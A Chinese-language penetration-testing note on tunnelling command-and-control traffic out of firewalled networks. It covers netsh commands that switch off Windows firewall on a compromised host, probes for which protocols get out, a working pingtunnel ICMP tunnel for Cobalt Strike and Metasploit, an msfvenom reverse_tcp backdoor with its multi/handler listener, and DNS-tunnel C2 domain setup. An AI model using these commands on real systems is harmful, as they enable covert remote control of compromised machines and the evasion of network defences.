防火墙开启状态下隧道搭建(一)

ssh只能信息搜集,icmp可以上线c2,udp、tcp主要是用转发数据

防火墙策略-入站规则&出站规则&自定义

1、防火墙默认入站&出站策略

2、防火墙自定义入站&出站策略

内网域防火墙同步策略:

操作:组策略管理-域-创建GPO链接-防火墙设置

更新策略:强制&命令&重启

命令:gpupdate/force

限制端口分为:入站限制端口、出站限制端口、出入站均限制端口。

入站限制端口,出站未限制端口,使用反向连接。

出站限制端口,入站未限制端口,使用正向连接。

出入站均限制端口,使用端口绕过进行连接,建议配合反向连接。

限制协议分为:

入站限制、出站限制、出入均限制,限制又分为:单协议限制、多协议限制、全部限制。

入站限制:

单协议限制,使用其它协议或者反向连接绕过。(隧道技术)

多协议限制,使用未被限制的协议或者反向连接绕过。(隧道技术)

全部协议限制,使用放弃或者反向连接绕过,但正常不会将所以协议都封闭的。

出站限制:

参考上面使用正向连接绕过。

出入均限制:

单协议限制,使用其它协议绕过。(隧道技术)

多协议限制,使用未被限制的协议绕过。(隧道技术)

全部协议限制,使用放弃绕过,但正常不会将所以协议都封闭的。

单层目标机防火墙开启上线解决方案:

1、命令关闭防火墙

2、反向中转连接上线

3、利用隧道技术上线(规则决定)

单层跳板机防火墙开启上线解决方案:

1、命令关闭防火墙

2、正向监听连接上线

3、利用隧道技术上线(规则决定)

双层防火墙开启上线解决方案:

1、命令关闭防火墙

2、利用隧道技术上线(规则决定)

防火墙实验(适用场景):

1、内网无域环境下

2、内网有域环境下(强制策略同步)

Windows防火墙命令:

参考:https://www.cnblogs.com/tomtellyou/p/16300557.html

查看当前防火墙状态:netsh advfirewall show allprofiles

关闭防火墙:netsh advfirewall set allprofiles state off

开启防火墙:netsh advfirewall set allprofiles state on

恢复初始防火墙设置:netsh advfirewall reset

启用桌面防火墙: netsh advfirewall set allprofiles state on

设置默认输入和输出策略:netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound

如果设置为拒绝使用blockinbound,blockoutbound

学隧道前先搞清楚

0、不是有互联网才叫出网(能和其他计算机正常通讯就算出网)

1、C2常见上线采用的协议

2、常见的协议层出网判断

常用的隧道技术:

利用各种隧道技术,以网络防火墙允许的协议,

绕过网络防火墙的封锁,实现访问被封锁的目标网络

网络层:IPv6 隧道、ICMP 隧道

传输层:TCP 隧道、UDP 隧道、常规端口转发

应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道

协议 判断命令

ICMP ping ip or domain

HTTP curl ip or domain

SSH ssh ip or domain

DNS nslookup domain

TCP telnet ip port

注意目标一定要是正常的目标

开防火墙入站只80&出站只放ICMP:

icmp可用于文件打印和共享

ICMP 通过 PING 命令访问远程计算机,建立 ICMP 隧道,将 TCP/UDP 数据封装到 ICMP 的 PING 数据包中,从而穿过防火墙,防火墙一般不会屏蔽 PING 数据包,实现不受限制的访问。

应用场景:80为入口权限点,ICMP为上线突破口

适用场景:目标入站正向被拦截,出站有ICMP出网

排查出网协议:curl nslookup ping等命令

拿到服务器权限后,先ping判断icmp能出

https://github.com/esrrhs/pingtunnel

CS:

kali攻击机上起服务

./pingtunnel -typeserver

将本地6666流量转发到192.168.139.141:777上面(tcp流量封装成icmp转发)

沦陷机器执行

pingtunnel -typeclient -l:6666 -s 192.168.139.141 -t 192.168.139.141:7777 -tcp 1 -noprint 1 -nolog 1

监听器配置:

127.0.0.1 6666(后门生成)

192.168.139.141 7777(监听上线)

同理kali攻击机也加上

生成cs后门时,生成127.0.0.1:6666的后门

从攻击机上流量全是icmp流量

MSF:

生成后门:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1LPORT=3333 -f exe -o msf.exe

隧道:

pingtunnel -typeclient -l:3333 -s 192.168.139.141 -t 192.168.139.141:3344 -tcp 1 -noprint 1 -nolog 1

监听器配置:

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 3344

run

开防火墙入站只80&出站只放DNS:

应用场景:80为入口权限点,DNS为上线突破口

适用场景:目标入站正向被拦截,出站有DNS出网

排查出网协议:curl nslookup ping等命令

CS:

-域名申请及配置

-监听器创建及配置

-后门绑定监听器生成

搞个域名绑定到公网服务器主机上去,在公网服务器起c2就行了

ns8.calm.com->c2.calm.com

ns9.calm.com->c2.calm.com

c2.calm.com->公网服务器ip

上线之后会发现cs页面比较慢,此时在cs命令行执行下面命令

checkin

mode dns-txt

MSF:

pro版本的reverse_dns模块

https://zhuanlan.zhihu.com/p/424351656

https://blog.csdn.net/vspiders/article/details/78999624

msf慢慢被淘汰了,因为cs有心跳包,msf是session很容易被杀